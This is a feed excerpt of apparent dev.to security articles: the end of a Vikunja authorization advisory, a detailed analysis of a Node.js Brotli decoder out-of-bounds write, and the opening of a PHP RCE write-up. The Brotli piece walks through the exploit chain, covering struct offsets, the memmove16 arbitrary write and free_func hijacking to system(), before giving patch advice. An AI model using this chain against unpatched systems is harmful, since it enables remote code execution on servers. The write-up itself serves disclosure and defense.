&lt;li&gt;It matches how the task query was already pinned to &lt;code&gt;shareAuth.ProjectID&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The advisory also recommends defense in depth: for &lt;strong&gt;every&lt;/strong&gt; auth type, authorize the caller against the view's project before loading the view. That would close the 404-vs-403 existence oracle for regular users too.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to do
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Upgrade Vikunja to &lt;strong&gt;2.4.0 or later&lt;/strong&gt;. The 2.4.0 release bundles 10 security fixes, so upgrade promptly.&lt;/li&gt;
&lt;li&gt;If you cannot upgrade right away, avoid distributing share links publicly. Link sharing is enabled by default, so this is a stopgap, not a fix.&lt;/li&gt;
&lt;li&gt;If you have published share links in the past, assume usernames and bucket titles on your instance may have been harvested.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Takeaway: two inputs, two authorization checks
&lt;/h2&gt;

&lt;p&gt;This bug is not a case of "no authorization at all." The developer clearly &lt;strong&gt;pinned the task scope to the token's project&lt;/strong&gt;. What got missed was &lt;strong&gt;a second user-controlled input in the same request (the view)&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When a request carries more than one object identifier (project, view), verify &lt;strong&gt;each one&lt;/strong&gt; against the caller's scope separately.&lt;/li&gt;
&lt;li&gt;When authorization is concentrated in one function that branches by auth type, check that every branch performs the same checks. Here the regular-user branch went through &lt;code&gt;CanRead&lt;/code&gt; and the link-share branch did not.&lt;/li&gt;
&lt;li&gt;Features added later can combine with old branches to create new bugs. The advisory notes that the link-share branch had existed for a long time and only became vulnerable once the 0.24.0 view feature arrived.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
      <category>python</category>
    </item>
    <item>
      <title>[CVE-2026-111497] Node2Shell: How Brotli's Counter Exhaustion Turned an Error Into an Arbitrary Write</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sat, 24 Oct 2026 21:36:01 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-111497-node2shell-how-brotlis-counter-exhaustion-turned-an-error-into-an-arbitrary-3opl</link>
      <guid>https://dev.to/guidance_white/cve-2026-111497-node2shell-how-brotlis-counter-exhaustion-turned-an-error-into-an-arbitrary-3opl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1va3bmuo0np9bq21dkhy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1va3bmuo0np9bq21dkhy.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  At a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-111497 (nicknamed &lt;strong&gt;Node2Shell&lt;/strong&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;CWE-787 (out-of-bounds write); root cause is CWE-252 (unchecked return value)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;High (per Node.js's official classification — though "remote blind RCE" is &lt;em&gt;not&lt;/em&gt; established by any public PoC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected component&lt;/td&gt;
&lt;td&gt;Google Brotli decoder, &lt;code&gt;c/dec/decode.c&lt;/code&gt; (Brotli 1.0.3–1.0.9 / 1.1.0 / 1.2.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected Node.js&lt;/td&gt;
&lt;td&gt;22.x &amp;lt; 22.23.4, 24.x &amp;lt; 24.22.1, 26.x &amp;lt; 26.12.1 (any distro Node that dynamically links system Brotli); Python &lt;code&gt;brotli&lt;/code&gt; / &lt;code&gt;brotlicffi&lt;/code&gt; share the same bug&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;Brotli 1.0.10 / 1.1.1 / 1.2.1, Node.js 22.23.4 / 24.22.1 / 26.12.1 (2026-10-21)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;OpenAI Codex Security (Khai Tran, Sylvie Mayer); fixed by Matteo Collina and Antoine du Hamel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public PoC&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;dimasma0305/CVE-2026-111497-POC&lt;/code&gt;; independent reproduction and struct-offset analysis in &lt;code&gt;TheFool-TAROT/CVE-2026-111497-brotli-pwn&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Brotli is the format behind &lt;code&gt;Content-Encoding: br&lt;/code&gt;, so this decoder runs whenever Node.js decompresses Brotli data — directly through &lt;code&gt;node:zlib&lt;/code&gt;, automatically inside the built-in &lt;code&gt;fetch()&lt;/code&gt; when it receives a Brotli response, or inside Express 5 / body-parser 2 when they decode an incoming request body. Every point where Node.js unpacks Brotli data it didn't produce itself is attack surface.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The core problem — an ERROR disguised as "need more input"
&lt;/h2&gt;

&lt;p&gt;A Brotli stream is organized into metablocks, and within each metablock three kinds of "block types" alternate: literals, insert-and-copy commands, and distances. Each block type has a &lt;code&gt;block_length&lt;/code&gt; counter, and once that counter hits zero the decoder has to read a new block type from the Huffman tree to keep going.&lt;/p&gt;

&lt;p&gt;If a stream declares only a single block type (&lt;code&gt;NBLTYPES ≤ 1&lt;/code&gt;) and the attacker drains &lt;code&gt;block_length&lt;/code&gt; down to exactly zero, the decoder ends up in a contradictory state: it needs to switch to a new block type, but there isn't one to switch to. That should be an immediate format error — the stream itself is malformed. Instead, the pre-patch code interprets this failed block switch as "the input ran out" and returns &lt;code&gt;NEEDS_MORE_INPUT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As simplified pseudocode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Brotli 1.0.3–1.2.0, c/dec/decode.c (reconstructed, simplified)&lt;/span&gt;
&lt;span class="n"&gt;BROTLI_BOOL&lt;/span&gt; &lt;span class="nf"&gt;DecodeDistanceBlockSwitch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BrotliDecoderState&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;block_length&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// NBLTYPES&amp;lt;=1 means there is no next block type to read —&lt;/span&gt;
        &lt;span class="c1"&gt;// this is actually a malformed stream.&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;BrotliSafeReadBits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;block_type_bits_hint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;block_type&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// treated as "not enough input yet"&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;BROTLI_FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// caller translates this to NEEDS_MORE_INPUT&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hitting &lt;code&gt;block_length[2] == 0&lt;/code&gt; exactly isn't luck — it takes input engineered to consume precisely that much. That's why the PoC packs &lt;strong&gt;2^24 (16,777,216) "zero-output" dictionary-transform commands&lt;/strong&gt; into a single 16 MiB metablock. These commands write nothing to the output buffer; their only effect is draining the distance block counter by one each — a purpose-built way to grind the counter down to zero. Since RFC 7932's maximum metablock length (MLEN) is exactly 2^24, the attacker has to fill the metablock all the way to the cap to reach this boundary condition.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The streaming retry loop walks right past the boundary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;NEEDS_MORE_INPUT&lt;/code&gt; is normally a perfectly legitimate signal. Node.js decompresses data in chunks, so when the decoder says "not enough yet," the caller appends the next chunk and retries. The problem is that &lt;strong&gt;the decoder can't tell the difference between genuinely running low on input and a structurally impossible block switch that will never resolve, no matter how many bytes you feed it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In a real "need more input" case, a few more bytes supply the missing bits and decoding moves forward. But the fake &lt;code&gt;NEEDS_MORE_INPUT&lt;/code&gt; produced by counter exhaustion can never be satisfied — there's no amount of additional data that fixes a stream whose block-type table is already exhausted. The retry loop doesn't know that, though, and keeps appending bytes into a small internal staging buffer (&lt;code&gt;buffer.u8[]&lt;/code&gt;, 8 bytes). That buffer was only ever meant to hold a few bits momentarily while reading them; it was never designed to grow past 8 bytes. This missing length check on the append is the actual CWE-787 (out-of-bounds write).&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Attack flow diagram
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftdjqz4ocfto5qn3wiii2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftdjqz4ocfto5qn3wiii2.png" alt=" " width="800" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/_kdAMJQy-CU" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The second write — spilling past 8 bytes into decoder state
&lt;/h2&gt;

&lt;p&gt;The real attack is two &lt;code&gt;writeSync&lt;/code&gt; calls. The first feeds the entire ~23 MB trigger stream, exhausting the counter and provoking the fake &lt;code&gt;NEEDS_MORE_INPUT&lt;/code&gt;. At that point, internal &lt;code&gt;buffer_length&lt;/code&gt; is already sitting at 1. The second call then delivers a small 127-byte follow-up chunk. The decoder keeps doing &lt;code&gt;buffer.u8[buffer_length++] = byte&lt;/code&gt;, marching one byte at a time straight past the end of the &lt;code&gt;buffer.u8&lt;/code&gt; field (struct offset 72) and into whatever comes next in memory.&lt;/p&gt;

&lt;p&gt;The relevant &lt;code&gt;BrotliDecoderState&lt;/code&gt; field offsets (x86-64, Brotli 1.2.0, gcc) look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;BrotliDecoderStateInternal&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* earlier fields omitted */&lt;/span&gt;
    &lt;span class="n"&gt;brotli_free_func&lt;/span&gt; &lt;span class="n"&gt;free_func&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// offset 56  — callback function pointer&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;memory_manager_opaque&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="c1"&gt;// offset 64  — argument passed to that callback&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;              &lt;span class="c1"&gt;// offset 72  — the original 8-byte staging buffer (!)&lt;/span&gt;
    &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;buffer_length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;            &lt;span class="c1"&gt;// offset 80&lt;/span&gt;
    &lt;span class="kt"&gt;int32_t&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                       &lt;span class="c1"&gt;// offset 88  — current write position in the ring buffer&lt;/span&gt;
    &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;max_backward_distance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="c1"&gt;// offset 92&lt;/span&gt;
    &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;max_distance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;             &lt;span class="c1"&gt;// offset 96&lt;/span&gt;
    &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;ringbuffer_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// offset 100&lt;/span&gt;
    &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;ringbuffer_mask&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// offset 104&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ringbuffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;               &lt;span class="c1"&gt;// offset 136 — actual decompressed output buffer&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trailing bytes of the 127-byte chunk overwrite &lt;code&gt;pos&lt;/code&gt;, &lt;code&gt;max_backward_distance&lt;/code&gt;, and &lt;code&gt;max_distance&lt;/code&gt; wholesale with attacker-chosen values. The overwrite stops around relative offset 99, so it doesn't quite reach &lt;code&gt;ringbuffer_size&lt;/code&gt; (100) or the &lt;code&gt;ringbuffer&lt;/code&gt; pointer (136) — those two fields become &lt;strong&gt;read-only leverage&lt;/strong&gt; in the next step instead of overwrite targets.&lt;/p&gt;

&lt;p&gt;What matters here is that &lt;code&gt;pos&lt;/code&gt; and &lt;code&gt;max_distance&lt;/code&gt; are normally trusted values the decoder computes internally as it tracks stream progress — never something raw input bytes should be able to set directly. A single missing length check on an 8-byte buffer completely erases the line between "trusted internal state" and "attacker-controlled bytes."&lt;/p&gt;




&lt;h2&gt;
  
  
  5. The 16-byte arbitrary write — memmove16 and ring-buffer wraparound
&lt;/h2&gt;

&lt;p&gt;Once &lt;code&gt;pos&lt;/code&gt;, &lt;code&gt;max_backward_distance&lt;/code&gt;, and &lt;code&gt;max_distance&lt;/code&gt; have been overwritten, resuming decoding makes the decoder treat these as a valid back-reference and enter the ring-buffer copy path. For performance, Brotli's core copy routine moves data in 16-byte chunks via &lt;code&gt;memmove16&lt;/code&gt;, and the destination of that copy is determined directly by the attacker-controlled &lt;code&gt;pos&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Back-reference copy (reconstructed, simplified)&lt;/span&gt;
&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ringbuffer&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ringbuffer&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;distance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ringbuffer_mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memmove16&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// copies 16 bytes with no bounds check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Under normal operation &lt;code&gt;pos&lt;/code&gt; is always a positive value within the ring buffer's range, but after the second write it's already an arbitrary 32-bit signed integer the attacker fully controls. Make &lt;code&gt;pos&lt;/code&gt; negative, and &lt;code&gt;dst = ringbuffer + pos&lt;/code&gt; lands &lt;em&gt;before&lt;/em&gt; the start of the ring buffer — inside the region occupied by the &lt;code&gt;BrotliDecoderState&lt;/code&gt; struct itself. In effect, a single chosen &lt;code&gt;pos&lt;/code&gt; value gives the attacker a primitive: "write 16 bytes at an arbitrary offset relative to the state struct."&lt;/p&gt;

&lt;p&gt;Exactly which address &lt;code&gt;src&lt;/code&gt; resolves to depends on a combination of &lt;code&gt;pos&lt;/code&gt;, &lt;code&gt;distance&lt;/code&gt;, and &lt;code&gt;ringbuffer_mask&lt;/code&gt;, so precisely targeting it in one shot is hard. The public PoC works around this by &lt;strong&gt;pre-filling the first 536 bytes of the ring buffer with a repeating 16-byte &lt;code&gt;[function pointer, argument pointer]&lt;/code&gt; pattern.&lt;/strong&gt; Whichever aligned window &lt;code&gt;src&lt;/code&gt; happens to land on, it reads out a valid pair of pointers — so whichever window gets chosen, the single &lt;code&gt;memmove16&lt;/code&gt; still copies something useful to the destination.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Callback hijacking — from free_func to system()
&lt;/h2&gt;

&lt;p&gt;If &lt;code&gt;pos&lt;/code&gt; is tuned so this 16-byte write lands exactly on &lt;code&gt;free_func&lt;/code&gt; (offset 56) and &lt;code&gt;memory_manager_opaque&lt;/code&gt; (offset 64), the attacker completely replaces the decoder state's "memory free callback." Brotli calls &lt;code&gt;free_func(opaque, ptr)&lt;/code&gt; internally whenever &lt;code&gt;BrotliDecoderDestroyInstance()&lt;/code&gt; runs. Overwrite &lt;code&gt;free_func&lt;/code&gt; with the address of &lt;code&gt;system&lt;/code&gt;, and &lt;code&gt;opaque&lt;/code&gt; with the address of an attacker-supplied command string already sitting in the ring buffer, and the moment Node.js calls &lt;code&gt;handle.close()&lt;/code&gt;, it effectively triggers &lt;code&gt;system(command)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The public PoC's local reproduction script, run under &lt;code&gt;node --predictable&lt;/code&gt; (which pins the address space layout), reliably reaches the point of executing an arbitrary command and dropping a marker file. The independent reproduction in &lt;code&gt;TheFool-TAROT/CVE-2026-111497-brotli-pwn&lt;/code&gt; reaches the same conclusion — 3 out of 3 local command-execution attempts succeeded under a deterministic layout, and a much smaller 86-byte stream alone was enough to reproduce a separate denial-of-service that pegs a CPU core at 100%.&lt;/p&gt;

&lt;p&gt;Imperva Red Team's independent analysis (which coined the name Node2Shell) reproduced code execution against the official Node.js 24.22.0 Linux arm64 build, through both Express 5 / body-parser 2 request bodies and a consumed Brotli HTTP response via &lt;code&gt;fetch()&lt;/code&gt;, and confirmed the same inputs were rejected — with the process staying alive — on the patched 24.22.1.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Why this isn't a remote blind RCE — yet
&lt;/h2&gt;

&lt;p&gt;Every piece of public research agrees on one limitation. The real target of &lt;code&gt;memmove16&lt;/code&gt; isn't simply &lt;code&gt;pos&lt;/code&gt; — it's &lt;strong&gt;&lt;code&gt;pos&lt;/code&gt; plus a ring-wrap compensation value &lt;code&gt;W&lt;/code&gt;&lt;/strong&gt;. &lt;code&gt;W&lt;/code&gt; depends on &lt;code&gt;pos&lt;/code&gt; itself and on decoding progress, and it varies between processes, and even between requests within the same process. Reliably hitting &lt;code&gt;free_func&lt;/code&gt; remotely would require knowing, ahead of time, at least three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;delta = address of the state struct − address of the ring buffer&lt;/code&gt; (readable within the same process, but it drifts between requests)&lt;/li&gt;
&lt;li&gt;the absolute address of the &lt;code&gt;ringbuffer&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;a &lt;code&gt;libc&lt;/code&gt; base address to resolve &lt;code&gt;system&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But every read path the bug itself provides is masked to the ring buffer's 1 KB window by &lt;code&gt;ringbuffer_mask&lt;/code&gt;, so there's no way inside the bug to leak the addresses of the state struct, the heap, or libc. The &lt;code&gt;TheFool-TAROT&lt;/code&gt; repo tried to close this gap three different ways — ① combining with a path-traversal, Range-capable file-read endpoint to read &lt;code&gt;/proc/self/maps&lt;/code&gt; for a libc base, ② combining with an image decoder's out-of-bounds read leaking pointers through output pixels, and ③ a deterministic deployment with ASLR disabled plus two network writes — and in all three cases concluded that leaking something within the same process was achievable, but &lt;strong&gt;reliably identifying which decoder state belongs to the current request was not.&lt;/strong&gt; The public PoC's own author states it plainly: the highest verified result is bounded command execution, demonstrated only on a deliberately non-PIE, ASLR-off local harness — not a portable remote exploit.&lt;/p&gt;

&lt;p&gt;In short, &lt;strong&gt;a remote attacker's Brotli stream alone can reliably cause a crash or limited memory corruption, but reaching full code execution still requires some separate way to learn or predict the target process's address layout&lt;/strong&gt; — that's the consistent conclusion across every piece of research published so far. Node.js's official classification of this bug as permitting remote code execution reflects the conservative, worst-case outcome; reaching that worst case still requires solving a separate ASLR-bypass puzzle.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. What the patch changes
&lt;/h2&gt;

&lt;p&gt;The core of the upstream Brotli fix (&lt;code&gt;google/brotli@0ed4268a&lt;/code&gt;) is "detect and report invalid streams earlier." A structurally impossible block-type switch (&lt;code&gt;block_length == 0&lt;/code&gt; with no further block type available) is no longer allowed to flow through as &lt;code&gt;NEEDS_MORE_INPUT&lt;/code&gt;; it's immediately classified as a format error and decoding stops there. Node.js also exposes a dedicated &lt;code&gt;BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH&lt;/code&gt; error code in &lt;code&gt;src/node_zlib.cc&lt;/code&gt;, so the streaming retry loop can never again misinterpret this condition as "just needs a bit more data." As a result, processing ends before the second chunk even has a chance to arrive — the point where the 8-byte buffer would have been overrun never gets reached at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Blast radius and mitigation
&lt;/h2&gt;

&lt;p&gt;The line separating vulnerable from safe is simple: &lt;strong&gt;does the Node.js process decompress Brotli data that an attacker — or a server an attacker controls — supplied?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Code that calls &lt;code&gt;node:zlib&lt;/code&gt; directly to decompress Brotli data&lt;/li&gt;
&lt;li&gt;The built-in &lt;code&gt;fetch()&lt;/code&gt;, which automatically decompresses Brotli-encoded responses&lt;/li&gt;
&lt;li&gt;Express 5 / body-parser 2 middleware decoding an incoming request body sent with &lt;code&gt;Content-Encoding: br&lt;/code&gt; (both have documented Brotli support starting at 2.x)&lt;/li&gt;
&lt;li&gt;Any server that decompresses attacker-uploaded &lt;code&gt;.br&lt;/code&gt; files directly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Node.js's official advisory offers no interim mitigation beyond upgrading. Upgrading to 22.23.4 / 24.22.1 / 26.12.1 or later — including bundled Node binaries inside container images and single-executable applications (SEAs) — is the only reliable fix. If an immediate upgrade isn't possible, the only partial mitigation is temporarily restricting untrusted Brotli traffic on the affected paths.&lt;/p&gt;

</description>
      <category>node</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>bash</category>
    </item>
    <item>
      <title>[CVE-2026-109618&amp;CVE-2026-109619] No Login Required: Inside PHP2Shell, the 9.2-Severity Bug That Let Anyone Take Over Your Server</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 23 Oct 2026 20:55:15 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-109618cve-2026-109619-no-login-required-inside-php2shell-the-92-severity-bug-that-25jp</link>
      <guid>https://dev.to/guidance_white/cve-2026-109618cve-2026-109619-no-login-required-inside-php2shell-the-92-severity-bug-that-25jp</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8k7h73zco1l2qbmc8k4l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8k7h73zco1l2qbmc8k4l.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. What is PHP2Shell?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nickname&lt;/td&gt;
&lt;td&gt;PHP2Shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE IDs&lt;/td&gt;
&lt;td&gt;CVE-2026-109618, CVE-2026-109619&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosure date&lt;/td&gt;
&lt;td&gt;October 21, 2026 (official PHP security team announcement)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS score&lt;/td&gt;
&lt;td&gt;9.2 each (CVSS v4.0, critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;Unauthenticated Remote Code Execution (RCE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trigger point&lt;/td&gt;
